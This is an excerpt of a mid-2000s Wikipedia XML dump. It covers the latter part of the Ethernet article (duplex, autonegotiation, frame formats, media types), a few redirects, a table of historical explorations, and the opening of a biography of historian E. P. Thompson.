When only a single device (anything but a hub) is connected to a switch port, [[full-duplex]] Ethernet becomes possible.  In full duplex mode both devices can transmit to each other at the same time and there is no collision domain. This doubles the aggregate bandwidth of the link and was sometimes advertised as double the link speed (e.g. 200 Mbit/s) to account for this. However, this is misleading as performance will only double if traffic patterns are symmetrical (which in reality they rarely are). The elimination of the collision domain also means that all the link's bandwidth can be used (collisions can occupy a lot of bandwidth as links get busy) and that segment length is not limited by the need for correct collision detection (this is most significiant with some of the fiber variants of ethernet).

== Autonegotiation ==
It is essential that both the switch port and the device connected to it use the same speed and duplex settings.  To that end, [[autonegotiation]] was introduced in 1995 as an option for [[100BASE-TX]] devices (802.3u).  Although it worked correctly in many applications, it had two problems.  One mistake was that its implementation was optional which led to some devices incapable of using autonegotiation.  Secondly, a portion of the specification was not tightly written.  Although most manufacturers implemented it one way, some including network giant [[Cisco]], implemented it the other way.  This unfortunately led to autonegotiation getting a bad name and, moreover, for Cisco to basically recommend to its customers and administrators to not use it.

The debatable portions of the autonegotiation specifications were eliminated by the 1998 release of 802.3z ([[1000BASE-X]]) followed by the negotiation protocols over twisted pair being significantly enhanced for 802.3ab ([[1000BASE-T]]).  More notably, the new standard specified that to achieve gigabit speed over copper wiring, it was required for autonegotiation to be enabled.  Now, all network equipment manufacturers—including Cisco[http://www.cisco.com/univercd/cc/td/doc/product/lan/cat2970/12218se/2970scg/swint.htm#1080632]—recommend to use autonegotiation whenever possible.

Note that some switch OSes, as well as some card drivers, still have the option to disable autonegotiation and force a twisted pair connection to 1000Full or 1000Half, but doing that is against specification and should never be used as you won't properly negotiate any of the other parameters.  Instead the proper way, for example, to force GigE over a Cat 5 connection is to still specify autonegotiation, but limit the advertised capabilities to only 1000Base-T[http://standards.ieee.org/reading/ieee/interp/IEEE802.3af-2003interp-6.pdf].

In cases of very old equipment that has trouble with autonegotiation, make sure that you disable autonegotiation and force the same speed and duplex on both sides of the connection.  Enabling autonegotiation on one end and a forced speed on the other end will likely just lead to network errors.

==Dual speed hubs==
In the early days of [[Fast Ethernet]], fast ethernet switches were relatively expensive devices. However, hubs suffered from the problem that if there were any 10baseT devices connected then the whole system would have to run at 10 Mbit. Therefore a compromise between a hub and a switch appeared known as a [[dual speed hub]]. These effectively split the network into two sections, each acting like a hubbed network at its respective speed then acted as a two port switch between those two sections. This meant they allowed mixing of the two speeds without the cost of a Fast Ethernet switch.

== Ethernet frame types and the EtherType field ==

Frames are the format of data packets on the wire. 

There are several types of Ethernet frame:
* The Ethernet Version 2 or Ethernet II frame, the so-called [[DIX]] frame (named after [[Digital Equipment Corporation|DEC]], [[Intel]], and [[Xerox]]); this is the most common today, as it is often used directly by the [[Internet Protocol]].
* Novell's homegrown variation of [[IEEE 802.3]] (&quot;raw 802.3 frame&quot;) without [[IEEE 802.2]] [[Logical Link Control|LLC]]
* [[IEEE 802.2]] [[Logical Link Control|LLC]] frame 
* IEEE 802.2 LLC/[[Subnetwork Access Protocol|SNAP]] frame

In addition, Ethernet frames may optionally contain a [[IEEE 802.1Q]] tag to identify what [[Virtual LAN|VLAN]] it belongs to and its IEEE 802.1p priority ([[quality of service]]). This doubles the potential number of frame types.&lt;!-- umm two new options wouldn't that quadruple the number of frame types?--&gt;

The different frame types have different formats and [[MTU (networking)|MTU]] values, but can coexist on the same physical medium.

&lt;center&gt;
[[Image:Ethernet Type II Frame format.png|Ethernet Type II Frame format]]

'''The most common Ethernet Frame format, type II'''
&lt;/center&gt;

It is claimed that some older (Xerox?) Ethernet specification had a 16-bit length field, although the maximum length of a packet was 1500 bytes. Versions 1.0 and 2.0 of the [[Digital Equipment Corporation|Digital]]/[[Intel]]/[[Xerox]] (DIX) Ethernet specification, however, have a 16-bit sub-protocol label field called the '''[[EtherType]]''', with the convention that values between 0 and 1500 indicated the use of the original Ethernet format with a length field, while values  of 1536 decimal (0600 hexadecimal) and greater indicated the use of the new frame format with an EtherType sub-protocol identifier.

IEEE 802.3 defined the 16-bit field after the MAC addresses as a length field again, with the MAC header followed by an [[IEEE 802.2]] LLC header. The convention described earlier allows software to determine whether a frame is an Ethernet II frame or an IEEE 802.3 frame, allowing the coexistence of both standards on the same physical medium.  All 802.3 frames have an [[IEEE 802.2]] '''[[logical link control]]''' (LLC) header.  By examining this header, it is possible to determine whether it is followed by a [[Subnetwork Access Protocol|SNAP]] ('''subnetwork access protocol''') header.  (Some protocols, particularly those designed for the [[Open Systems Interconnection|OSI]] [[protocol stack|networking stack]], operate directly on top of 802.2 LLC, which provides both datagram and connection-oriented network services.)  The LLC header includes two additional eight-bit address fields (called '''service access points''' or SAPs in OSI terminology); when both source and destination SAP are set to the value 0xAA, the SNAP service is requested.  The SNAP header allows EtherType values to be used with all [[IEEE 802]] protocols, as well as supporting private protocol ID spaces.  In IEEE 802.3x-1997, the IEEE Ethernet standard was changed to explicitly allow the use of the 16-bit field after the MAC addresses to be used as a length field or a type field.

[[Novell]]'s &quot;raw&quot; 802.3 frame format was based on early IEEE 802.3 work. Novell used this as a starting point to create the first implementation of its own [[IPX]] Network Protocol over Ethernet. They did not use any LLC header but started the IPX packet directly after the length field. In principle this is not interoperable with the other later variants of 802.x Ethernet, but since IPX has always FF at the first byte (while LLC has not), this mostly coexists on the wire with other Ethernet implementations (with the notable exception of some early forms of [[DECnet]] which got confused by this).

Novell [[Netware]] used this frame type by default until the mid nineties, and since Netware was very widespread back then (while IP was not) at some point in time most of the world's Ethernet traffic ran over &quot;raw&quot; 802.3 carrying IPX. Since Netware 4.10 Netware now defaults to IEEE 802.2 with LLC (Netware Frame Type Ethernet_802.2) when using IPX. (See &quot;Ethernet Framing&quot; in References for details)

[[Mac OS]] uses 802.2/SNAP framing for the [[AppleTalk]] protocol suite on Ethernet (&quot;EtherTalk&quot;) and Ethernet II framing for TCP/IP.

The 802.2 variants of Ethernet are not in widespread use on common networks currently, with the exception of large corporate Netware installations that have not yet migrated to Netware over IP.  In the past, many corporate networks supported 802.2 Ethernet to support transparent translating bridges between Ethernet and IEEE 802.5 Token Ring or FDDI networks.
The most common framing type used today is Ethernet Version 2, as it is used by most [[Internet Protocol]]-based networks, with its [[EtherType]] set to 0x0800 for [[IPv4]] and 0x86DD for [[IPv6]]

There exists an [http://www.ietf.org/rfc/rfc1042.txt Internet standard] for encapsulating IP version 4 traffic in [[IEEE 802.2]] frames with LLC/SNAP headers.  It is almost never implemented on Ethernet (although it is used on [[FDDI]] and on [[Token ring]], [[IEEE 802.11]], and other [[IEEE 802]] networks). IP traffic can not be encapsulated in IEEE 802.2 LLC frames without SNAP because, although there is an LLC protocol type for IP, there is no LLC protocol type for [[Address Resolution Protocol|ARP]].  IP Version 6 can also be transmitted over Ethernet using IEEE 802.2 with LLC/SNAP, but, again, that's almost never used (although LLC/SNAP encapsulation of IPv6 is used on IEEE 802 networks).

The [[IEEE 802.1Q]] tag, if present, is placed between the Source Address and the EtherType or Length fields. The first two bytes of the tag are the Tag Protocol Identifier (TPID) value of 0x8100. This is located in the same place as the EtherType/Length field in untagged frames, so an EtherType value of 0x8100 means the frame is tagged, and the true EtherType/Length is located after the tag. The TPID is followed by two bytes containing the Tag Control Information (TCI) (the IEEE 802.1p priority ([[quality of service]]) and [[Virtual LAN|VLAN]] id). The tag is followed by the rest of the frame, using one of the types described above.

== Varieties of Ethernet ==

Other than the framing types mentioned above, most of the other differences between Ethernet varieties have all been variations on speed and wiring.  Therefore, in general, [[protocol stack|network protocol stack]] [[software]] will work identically on most of the following types.

The following sections provide a brief summary of all the official Ethernet media types. In addition to these official standards, many vendors have implemented proprietary media types for various reasons&amp;mdash;often to support longer distances over [[fiber optic]] cabling.

Many Ethernet cards and switch ports support multiple speeds, using auto-negotiation to set the speed and duplex for the best values supported by both connected devices. If auto-negotiation fails, a multiple speed device will sense the speed used by its partner, but will assume half-duplex. A 10/100 Ethernet port supports [[10BASE-T]] and [[100BASE-TX]]. A 10/100/1000 Ethernet port supports 10BASE-T, 100BASE-TX, and 1000BASE-T.

===Some early varieties of Ethernet===
* [[Xerox Ethernet]] -- the original, 3-Mbit/s Ethernet implementation, which in turn had two versions, Version 1 and Version 2, during its development. The version 2 framing format is still in common use.
* [[10BROAD36]] -- Obsolete.  An early standard supporting Ethernet over longer distances.  It utilized broadband modulation techniques similar to those employed in [[cable modem]] systems, and operated over coaxial cable.
* 1BASE5 -- Also known as [[StarLAN]], was the first implementation of Ethernet on [[twisted pair]] wiring. It operated at 1 Mbit/s and was a commercial failure.

===10 Mbit/s Ethernet===

* [[10BASE5]] (also called Thicknet, Thickwire or Yellow Cable) -- This is the original 10 Mbit/s implementation of Ethernet. The early IEEE standard uses a single 50-ohm [[coaxial cable]] of a type designated RG-8, of maximum length 500 [[metre]]s.  Transceivers could be connected by a so-called &quot;[[vampire tap]]&quot;, which was attached by drilling into the cable to connect to the core and screen, or using [[N connector]]s at the end of a cable segment.  An [[AUI]] cable then connected the transceiver to the Ethernet device.  Largely obsolete, though due to its widespread deployment in the early days, some systems may still be in use.  It requires precise termination at each end of the cable.
* [[10BASE2]] (also called Thinnet, Thinwire or Cheapernet) -- 50 ohm RG-58 coaxial cable, of maximum length 200 [[metre]]s,  connects machines together, each machine using a T-adaptor to connect to its [[NIC]], which has a [[BNC connector|BNC]] connector.  Requires termination at each end.  For many years this was the dominant 10 Mbit/s Ethernet standard.
* [[StarLAN]] 10 -- First implementation of Ethernet on [[twisted pair]] wiring at 10 Mbit/s.  Later evolved into 10BASE-T.
* [[10BASE-T]] -- Runs over 4 wires (two [[twisted pair]]s) on a [[Category 3 cable|Cat-3]] or [[Category 5 cable|Cat-5]] cable up to 100 metres in length.  A [[Ethernet hub|hub]] or [[Ethernet switch|switch]] sits in the middle and has a port for each node.
* FOIRL -- Fiber-optic inter-repeater link.  The original standard for Ethernet over fiber.
* 10BASE-F (also called 10BASE-FX) -- A generic term for the family of 10 Mbit/s Ethernet standards using fiber optic cable: 10BASE-FL, 10BASE-FB and 10BASE-FP.  Of these only 10BASE-FL is in widespread use.
** [[10BASE-FL]] -- An updated version of the FOIRL standard.
** [[10BASE-FB]] -- Intended for backbones connecting a number of hubs or switches, it is now obsolete.
** [[10BASE-FP]] -- A passive star network that required no repeater, it was never implemented

===Fast Ethernet (100 Mbit/s) ===

* [[100BASE-T]] -- A term for any of the three standards for 100 Mbit/s Ethernet over twisted pair cable up to 100 meters long.  Includes 100BASE-TX, 100BASE-T4 and 100BASE-T2.
** [[100BASE-TX]] -- Similar star-shaped configuration to 10BASE-T. It also uses two pairs, but requires Cat-5 cable to achieve 100Mbit/s.
** [[100BASE-T4]] -- 100 Mbit/s Ethernet over Cat-3 cabling (as used for 10BASE-T installations).  Uses all four pairs in the cable.  Now obsolete, as Cat-5 cabling is the norm.  Limited to half-duplex.
** [[100BASE-T2]] -- No products exist. 100 Mbit/s Ethernet over Cat-3 cabling.  Supports full-duplex, and uses only two pairs.  It is functionally equivalent to 100BASE-TX,  but supports old telephone cable (cat-3).
* [[100BASE-FX]] -- 100 Mbit/s Ethernet over multimode fibre. Maximum length is 400 meters for half-duplex connections (to ensure collisions are detected) or 2 kilometers for full-duplex.
* [[100BASE-SX]] -- 100 Mbit/s Ethernet over multimode fibre. Maximum length is 300 meters. Unlike 100BASE-FX using lasers as light sources, 100BASE-SX uses [[LED]]s, so it is cheaper.
* [[100BaseVG|100Base-VG]] -- Not Ethernet.  Standardized by a different IEEE 802 subgroup, 802.12, because it used a different, more centralized form of media access (&quot;Demand Priority&quot;). Championed by only HP, 100VG-AnyLAN (as was the marketing name) was the earliest in the market. It needed four pairs of Cat-3 cables.  As of 2005, obsolete (802.12 has been &quot;inactive&quot; since 1997).

===Gigabit Ethernet===

* [[1000BASE-T]] -- 1 Gbit/s over [[Category 5 cable|Cat-5e]] or [[Category 6 cable|Cat-6]] copper cabling. Limited length.
* [[1000BASE-TX]] -- 1 Gbit/s over only [[Category 6 cable|Cat-6]] copper cabling.
* [[1000BASE-SX]] -- 1 Gbit/s over multi-mode fiber (up to 550 m).
* [[1000BASE-LX]] -- 1 Gbit/s over multi-mode fiber (up to 550 m). Optimized for longer distances (up to 10 km) over single-mode fiber.
* [[1000BASE-LH]] -- 1 Gbit/s over single-mode fiber (up to 100 km). A long-haul solution.
* [[1000BASE-CX]] -- A short-haul solution (up to 25 m) for running 1 Gbit/s Ethernet over special copper cable. Predates 1000BASE-T, and now obsolete.
* [[1000BASE-PX10-D]] -- 1Gbit/s over single-mode fiber using point-to-multipoint topology (supports at least 10 km).  This PMD specifies downstream direction only (from head-end to tail-ends). Standardized in IEEE Std. 802.3ah in 2004.
* [[1000BASE-PX10-U]] -- 1Gbit/s over single-mode fiber using point-to-multipoint topology (supports at least 10 km).  This PMD specifies upstream direction only (from a tail-end to the head-end). Standardized in IEEE Std. 802.3ah in 2004.
* [[1000BASE-PX20-D]] -- 1Gbit/s over single-mode fiber using point-to-multipoint topology (supports at least 20 km).  This PMD specifies downstream direction only (from head-end to tail-ends). Standardized in IEEE Std. 802.3ah in 2004.
* [[1000BASE-PX20-U]] -- 1Gbit/s over single-mode fiber using point-to-multipoint topology (supports at least 20 km).  This PMD specifies upstream direction only (from a tail-end to the head-end). Standardized in IEEE Std. 802.3ah in 2004.

===10 Gigabit Ethernet===

The new 10 gigabit Ethernet standard encompasses seven different media types for [[Local area network|LAN]], [[Metropolitan area network|MAN]] and [[Wide area network|WAN]].  It was originally specified by a supplementary standard, [[IEEE 802.3ae]] and is now part of the IEEE 802.3-2005 standard.

* [[10GBASE-CX4]] - designed to support short distances over copper cabling, it uses [[InfiniBand]] 4x connectors and CX4 cabling and allows a cable length of up to 15 m.
* [[10GBASE-SR]] -- designed to support short distances over deployed multi-mode fiber cabling, it has a range of between 26 m and 82 m depending on cable type.  It also supports 300 m operation over a new 2000 MHz.km multi-mode fiber.
* [[10GBASE-LX4]] -- uses [[wavelength division multiplexing]] to support ranges of between 240 m and 300 m over deployed multi-mode cabling.  Also supports 10 km over single-mode fiber.
* [[10GBASE-LR]] and [[10GBASE-ER]] -- these standards support 10 km and 40 km respectively over single-mode fiber.
* [[10GBASE-SW]], [[10GBASE-LW]] and [[10GBASE-EW]].  These varieties use the WAN PHY, designed to interoperate with OC-192 / STM-64 [[SONET]]/[[SDH]] equipment.  They correspond at the physical layer to 10GBASE-SR, 10GBASE-LR and 10GBASE-ER respectively, and hence use the same types of fiber and support the same distances.  (There is no WAN PHY standard corresponding to 10GBASE-LX4.)
* [[10GBASE-T]] -- Uses unshielded twisted-pair wiring. 10GBASE-T should be ready by August 2006.

10 gigabit Ethernet is very new, and it remains to be seen which of the standards will gain commercial acceptance.

==Related standards==

*Networking standards that are not part of the IEEE 802.3 Ethernet standard, but support the Ethernet frame format, and are capable of interoperating with it.
** [[LattisNet]] &amp;mdash; A [[SynOptics]] pre-standard twisted-pair 10 Mbit/s variant.
** [[100BaseVG]] &amp;mdash; An early contender for 100 Mbit/s Ethernet.  It runs over Category 3 cabling. Uses four pairs. Commercial failure.
** TIA [[100BASE-SX]] &amp;mdash; Promoted by the [[Telecommunications Industry Association]].  100BASE-SX is an alternative implementation of 100 Mbit/s Ethernet over fiber; it is incompatible with the official 100BASE-FX standard.  Its main feature is interoperability with 10BASE-FL, supporting autonegotiation between 10 Mbit/s and 100 Mbit/s operation -- a feature lacking in the official standards due to the use of differing LED wavelengths. It is targeted at the installed base of 10 Mbit/s fiber network installations.
** TIA [[1000BASE-TX]] &amp;mdash; Promoted by the [[Telecommunications Industry Association]], it was a commercial failure, and no products exist.  1000BASE-TX uses a simpler protocol than the official 1000BASE-T standard so the electronics can be cheaper, but requires Category 6 cabling.
*Networking standards that do not use the Ethernet frame format but can still be connected to Ethernet using MAC-based bridging.
**[[802.11]] &amp;mdash; A standard for wireless networking, often known as wireless Ethernet and usually operated with an Ethernet backbone.
*[[Long Reach Ethernet]]

==See also==
*[[IEEE 802.3]]
*[[CHAOSnet]]
*[[Attachment Unit Interface]]
*[[Virtual LAN]]
*[[Spanning tree (networks)|Spanning Tree Protocol]]
*[[Telecommunication]]
*[[Internet]]
*[[Category 5 cable]]
*[[RJ45]] and [[extension cable]]
*[[Crossover cable]]
*[[Fragment free cut-through]]
*[[Power over Ethernet]]
*[[Media Independent Interface|MII]] and [[PHY]]
*[[Wake-on-LAN]]
*[[List of device bandwidths]]
*[[Power line communication]]
*[[Ethernet flow control]]

==Implementations==
*10_100_1000 [[Opencores]] [[Verilog]] [[LGPL]] tri-mode ethernet MAC

==References==
*{{cite journal
 | author = Metcalfe, Robert M. and Boggs, David R.
 | year = 1976
 | month = July
 | title = '''Ethernet: Distributed Packet Switching for Local Computer Networks'''
 | journal = Communications of the ACM
 | volume = 19
 | issue = 5
 | pages = 395-405
 | url = http://www.acm.org/classics/apr96/
 }} - the original Metcalfe and Boggs paper on Ethernet
*{{Citepaper
 | Author = Digital Equipment Corporation, Intel Corporation, Xerox Corporation
 | PublishYear = 1980
 | Month = September
 | Title = '''The Ethernet: A Local Area Network'''
 | URL = http://portal.acm.org/citation.cfm?id=1015591.1015594
 }} - Version 1.0 of the DIX specification
*{{Conference reference 
 | Author=Boggs, David R. and Mogul, Jeffrey C. and Kent, Christopher A.
 | Title = '''Measured capacity of an Ethernet: myths and reality'''
 | Booktitle=SIGCOMM88 - Symposium proceedings on Communications architectures and protocols
 | Year=1988 
 | Pages=222-234 
 | URL = http://portal.acm.org/citation.cfm?id=52347
 }} - on the issue of Ethernet bandwidth collapse ([ftp://gatekeeper.dec.com/pub/DEC/WRL/research-reports/WRL-TR-88.4.pdf Full text from DEC research])
*[http://standards.ieee.org/getieee802/download/802.3-2002.pdf IEEE 802.3 2002 standard]
*{{newsgroup reference Google | Author=Don Provan | Title=Ethernet Framing | Date=[[1993-09-17]] | Newsgroup=comp.sys.novell | ID=1993Sep17.190654.13335@novell.com | URL=http://groups.google.com/group/bit.listserv.novell/browse_thread/thread/d00a24530625714c }} - a classic series of Usenet postings by Novell's Don Provan that have found their way into numerous FAQs and are widely considered the definitive answer to the Novell Frame Type jungle

==External links==
*[http://www.wildpackets.com/support/compendium/ethernet/frame_formats Ethernet frame formats]
*[http://www.10gea.org/ 10 Gigabit Ethernet Alliance website]
*[http://www.siemon.com/us/white_papers/ 10 Gigabit Ethernet over IP White Papers]
*[http://whatis.techtarget.com/definition/0,,sid9_gci214198,00.html The speed of ...]

[[Category:Ethernet]]

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    </revision>
  </page>
  <page>
    <title>E.P.Thompson on Luddites</title>
    <id>9500</id>
    <revision>
      <id>15907388</id>
      <timestamp>2002-11-09T04:13:10Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Luddite]]</text>
    </revision>
  </page>
  <page>
    <title>E. P. Thompson on Luddites</title>
    <id>9501</id>
    <revision>
      <id>15907389</id>
      <timestamp>2002-11-09T04:12:58Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>redirecting to where the content is</comment>
      <text xml:space="preserve">#REDIRECT [[Luddite]]</text>
    </revision>
  </page>
  <page>
    <title>Explorations</title>
    <id>9502</id>
    <revision>
      <id>39841251</id>
      <timestamp>2006-02-16T05:28:04Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>/* See also */ completely removed some horrible chaos added by MAURY recently</comment>
      <text xml:space="preserve">:''This article lists the explorations in history. For the documentary 'Explorations, powered by Duracell', see [[Explorations (TV)]]''

Some of the most important explorations of Western civilization (in chronological order) :

&lt;!-- table --&gt;
{| border
|-
! Exploration
! When
! Who ([[explorers|explorer]])
|-
| Around western [[Europe]] to [[Thule (myth)|Thule]] Island
|  about [[330 BC]]  
| [[Pytheas]] of Marseilles
|-
| The [[Middle East]] and [[India]]
| [[325 BC]]-[[280 BC]]
| [[Alexander the Great]]
|-
| [[Greenland]]
| [[900]]
|  [[Gunnbjoern]]
|-
| [[Silk Road]]
| [[1274]]-[[1295]]
| [[Marco Polo]]
|-
| [[Congo River]]
| [[1482]]
| [[Diogo Cão]]
|-
| [[Cape of Good Hope]]
| [[1488]]
| [[Bartolomeu Dias]]
|-
| [[Americas]]
| [[1492]]
| [[Christopher Columbus]]
|-
| Sea route to [[India]]
| [[1497]]-[[1498]]
| [[Vasco da Gama]]
|-
| [[Caribbean]]
| [[1493]]-[[1502]]
| [[Christopher Columbus]]
|-
| [[Jamaica]]
| [[1494]]
| [[Christopher Columbus]]
|-
| Inland [[Mexico]] and [[Central America]]
| [[1519]]-[[1524]]
| [[Hernán Cortés]]
|-
| [[Peru]] and [[Ecuador]]
| [[1531]]-[[1534]]
| [[Francisco Pizarro]]
|-
| [[Circumnavigate]] the Globe
| [[1519]]-[[1522]]
| [[Ferdinand Magellan]]
|-
| [[Timor]]
| [[1522]]
| [[Juan Sebastián Elcano]]
|-
| [[Inca]] Empire
| [[1531]]-[[1534]]
| [[Francisco Pizarro]]
|-
| The North
| [[1574]]-[[1631]]
| [[Henry Hudson]]
|-
| The North
| [[1594]]-[[1597]]
| [[Willem Barents]]
|-
| [[Oceania]]
| [[1642]]-[[1643]] 
| [[Abel Tasman]]
|-
| [[Oceania]]
| [[1768]]-[[1779]] 
| [[James Cook]]
|-
| North [[Pacific]], western [[Alaska]], east shores of Asia
| [[1771]]
| [[Moric Benovsky]] 
|-
| [[Hawaiian Islands]]
| [[1778]]
| [[James Cook]]
|-
| [[Central America]] and [[Latin America]]
| [[1799]]-[[1803]]
| [[Alexander von Humboldt]]
|-
| [[North America]]
| [[1804]]-[[1806]]
| [[Lewis and Clark Expedition]]
|-
| The [[North Magnetic Pole]]
| [[1831]]-[[06-01]]
| [[James Clark Ross]]
|-
| [[Africa]]
| [[1849]]-[[1863]]
| [[David Livingstone]]
|-
| The [[Northern Sea Route]]
| [[1878]]
| [[Adolf Erik Nordenskiöld]]
|-
| The [[South Magnetic Pole]]
| [[1909]]-[[01-16]]
| [[Douglas Mawson]], [[Edgeworth David]], and [[Alistair Mackay]]
|-
| The [[North Pole]]
| [[1909]]-[[04-06]]
| [[Robert Peary]]
|-
| The [[South Pole]]
| [[1911]]-[[12-14]]
| [[Roald Amundsen]]
|-
| The [[South Pole]]
| [[1912]]-[[01-18]]
| [[Robert Falcon Scott]]
|-
| [[Mount Everest]] Summit
| [[1953]]-[[05-29]]
| Sir [[Edmund Hillary]] and Sherpa [[Tenzing Norgay]]
|-
| The [[Moon]]
| [[1969]]-[[07-20]]
| ''[[Apollo 11]]''
|-
|}

=== See also ===
* [[Age of Discovery]]
* [[Exploration of Australia]]
* [[Exploration of the High Alps]]
* [[Portugal in the period of discoveries]]

[[Category:Exploration]]


[[de:Entdeckungsreise]]
[[hr:Zemljopisna otkrića]]
[[nl:Ontdekkingsreizen]]</text>
    </revision>
  </page>
  <page>
    <title>E. P. Thompson</title>
    <id>9503</id>
    <revision>
      <id>41463095</id>
      <timestamp>2006-02-27T14:40:29Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <comment>/* Personal life */ link - she has a page</comment>
      <text xml:space="preserve">'''Edward Palmer Thompson''' ([[February 3]], [[1924]] - [[August 28]], [[1993]]), was a British historian, [[Socialism|socialist]] and peace campaigner. He is probably best known today for his historical work on the British radical movements in the late-18th and early-19th centuries, in particular his book ''[[The Making of the English Working Class]]'' (1963). But he also published influential biographies of [[William Morris]] (1955) and (posthumously) [[William Blake]] (1993) and was a prolific journalist and essayist as well as publishing [[The Sykaos Papers|one novel]] and a collection of poetry. He was one of the main intellectual members of the [[Communist Party of Great Britain|Communist Party]] who left the party in [[1956]] over the [[1956 Hungarian Revolution|Soviet invasion]] of [[Hungary]], and he played a key role in the first New Left in Britain in the late 1950s. He was a vociferous left-wing socialist critic of the Labour governments of 1964-70 and 1974-79 and, during the 1980s, the leading intellectual light of the movement against nuclear weapons in Europe.


== Early life ==
Thompson was born in [[Oxford]], to Methodist missionary parents. He was educated at [[Kingswood School]], Bath. During [[World War II]] he served in a tank corps. in [[Italy]], and then studied at [[Corpus Christi College, Cambridge]], where he joined the Communist Party. In [[1946]] he formed the Communist Historians Group along with [[Christopher Hill]], [[Eric Hobsbawm]], [[Rodney Hilton]], [[Dona Torr]] and others. This group launched the influential journal ''[[Past and Present]]'' in [[1952]].

== William Morris ==
Thompson's first major work was his biography of William Morris, written while he was a member of the CP. Subtitled  ''From Romantic to Revolutionary'', it was part of an effort by the CP Historians' Group, inspired by Torr, to emphasise the domestic roots of Marxism in Britain at a time when the CP was under attack for always following the Moscow line – but it was also an attempt to take Morris back from the critics who had emphasised his art and downplayed his politics for more than 50 years.

Although Morris' political work is well to the fore, Thompson also used his literary talents to comment on aspects of Morris' work, such as his early Romantic poetry, which had previously received relatively little consideration.

As the preface to the 2nd edition (1976) notes, the first edition (1955) appears to have received relatively little attention from the literary establishment, because of its then-unfashionable Marxist viewpoint. However the somewhat-rewritten 2nd edition was much better received.

== The first New Left ==
After [[Nikita Khruschev]]'s &quot;secret speech&quot; to the 20th Congress of the [[Communist Party of the Soviet Union]] in [[1956]], which revealed that the Soviet party leadership had long been aware of Stalin's crimes, Thompson, with [[John Saville]]  and others, started a dissident publication inside the CP, the [[Reasoner]]. Six months later, he and most of his comrades left the party in disgust at the Soviet invasion of [[Hungary]]. 

But he remained what he called a &quot;[[socialist humanist]]&quot;, and with Saville and others set up the ''[[New Reasoner]]'', a journal that sought to develop a democratic socialist alternative to what its editors saw as the ossified official [[Marxism]] of the [[Communism|Communist]] and [[Trotskyist]] parties and the managerialist cold war social democracy of the Labour Party and its international allies.   The ''New Reasoner'' was the most important organ of what became known as the &quot;[[New Left]]&quot;, an informal movement of dissident leftists closely associated with the nascent movement for nuclear disarmament in the late 1950s and early 1960s.

The ''New Reasoner'' combined with the ''[[Universities and Left Review]]'', to form ''[[New Left Review]]'' in 1960, though Thompson and others fell out with the group around [[Perry Anderson]] who took over the journal soon after its launch. (The fashion ever since has been to describe the Thompson ''et al'' New Left as &quot;the first New Left&quot; and the Anderson ''et al'' sequel, which by 1968 had embraced Tariq Ali and various Trotskyists, as the second.)

Thompson subsequently allied himself with the journal ''Socialist Register'', and was (with [[Raymond Williams]] and [[Stuart Hall]]) one of the editors of the 1967 ''May Day Manifesto'', one of the key left-wing challenges to the 1964-70 Labour government of Harold Wilson.

==''The Making of the English Working Class''==
Thompson's most influential work was and remains [[The Making of the English Working Class]], published in 1963 while he was working at Leeds University. It told the forgotten history of the first working-class left in the world in the late-18th and early-19th centuries. In his introduction to this book, Thompson set out his approach to writing history from below:

:&quot;I am seeking to rescue the poor stockinger, the [[Luddite]] cropper, the 'obsolete' hand-loom weaver, the 'Utopian' artisan, and even the deluded follower of [[Joanna Southcott]], from the enormous condescension of posterity. Their crafts and traditions may have been dying. Their hostility to the new industrialism may have been backward-looking. Their communitarian ideals may have been fantasies. Their insurrectionary conspiracies may have been foolhardy. But they lived through these times of acute social disturbance, and we did not. Their aspirations were valid in terms of their own experience; and, if they were casualties of history, they remain, condemned in their own lives, as casualties&quot;.

A major work of research and synthesis, it was also important in historiographical terms: with it, Thompson demonstrated the power of an historical Marxism rooted in the experience of real flesh-and-blood workers. It remains on university reading lists 40 years after its publication.

== Freelance polemicist ==
Thompson left [[Warwick University]] in protest at the commercialisation of the academy, documented in the book ''Warwick University Limited'' (1971). He continued to teach and lecture as a visiting professor, particularly in the United States, but increasingly worked as a freelance writer.  He turned to freelancing, contributing many fine essays to ''New Society'', ''Socialist Register'' and historical journals. In [[1978]] he published ''The Poverty of Theory'', which attacked the [[structuralist]] Marxism of [[Louis Althusser]] and his followers in Britain on ''New Left Review'', which provoked a book-length response from Perry Anderson, ''Arguments Within English Marxism''. 

During the late [[1970s]] he acquired a large public audience as a critic of the then Labour government's disregard of civil liberties – his writings from this time are collected in ''Writing By Candlelight'' (1980).

== Voice of the peace movement ==

From [[1980]], Thompson was the most prominent intellectual of the revived movement for [[nuclear disarmament]], revered by activists throughout the world. In Britain, his pamphlet ''Protest and Survive'', a parody on the government leaflet [[Protect and Survive]], played a major role in the rebirth of the [[Campaign for Nuclear Disarmament]]. Just as important, Thompson was, with [[Ken Coates]], [[Mary Kaldor]] and others, an author of the 1980 [[Appeal for European Nuclear Disarmament]], calling for a [[nuclear-free Europe]] from [[Poland]] to [[Portugal]], which was the founding document of [[European Nuclear Disarmament]] - confusingly, END was both a Europe-wide campaign that comprised a series of large public conferences, the END Conventions, and a small British pressure group. 

Thompson played a key role in both END and CND throughout the 1980s, speaking at inumerable public meetings, corresponding with hundreds of fellow activists and sympathetic intellectuals, and doing more than his fair share of committee work. He had a particularly important part in opening a dialogue between the west European peace movement and dissidents in Soviet-dominated eastern Europe, particularly in Hungary and Czechoslovakia – for which he was denounced as a tool of American imperialism by the Soviet authorities. 

He wrote dozens of polemical articles and essays during this period, which are collected in the books ''Zero Option'' (1982) and ''The Heavy Dancers'' (1985). He also wrote an extended essay attacking the ideologists on both sides of the cold war, ''Double Exposure'' (1985) and edited a collection of essays opposing Ronald Reagan's Strategic Defence Initiative, ''Star Wars'' (1985).


== William Blake ==
The last book Thompson finished was ''Witness Against the Beast: William Blake and the Moral Law'' (1993). The product of years of research and published shortly after his death, it shows convincingly how far Blake was inspired by dissident religious ideas rooted in the thinking of the most radical opponents of the monarchy during the English civil war.

== Personal life ==

Thompson married [[Dorothy Towers]], a fellow left-wing historian, in 1948. She has contributed major studies on women in the [[Chartist]] movement, and of [[Victoria of the United Kingdom|Queen Victoria]] (subtitled 'Gender and Power'), and was Professor of History at the University of Birmingham.

==Key Works==

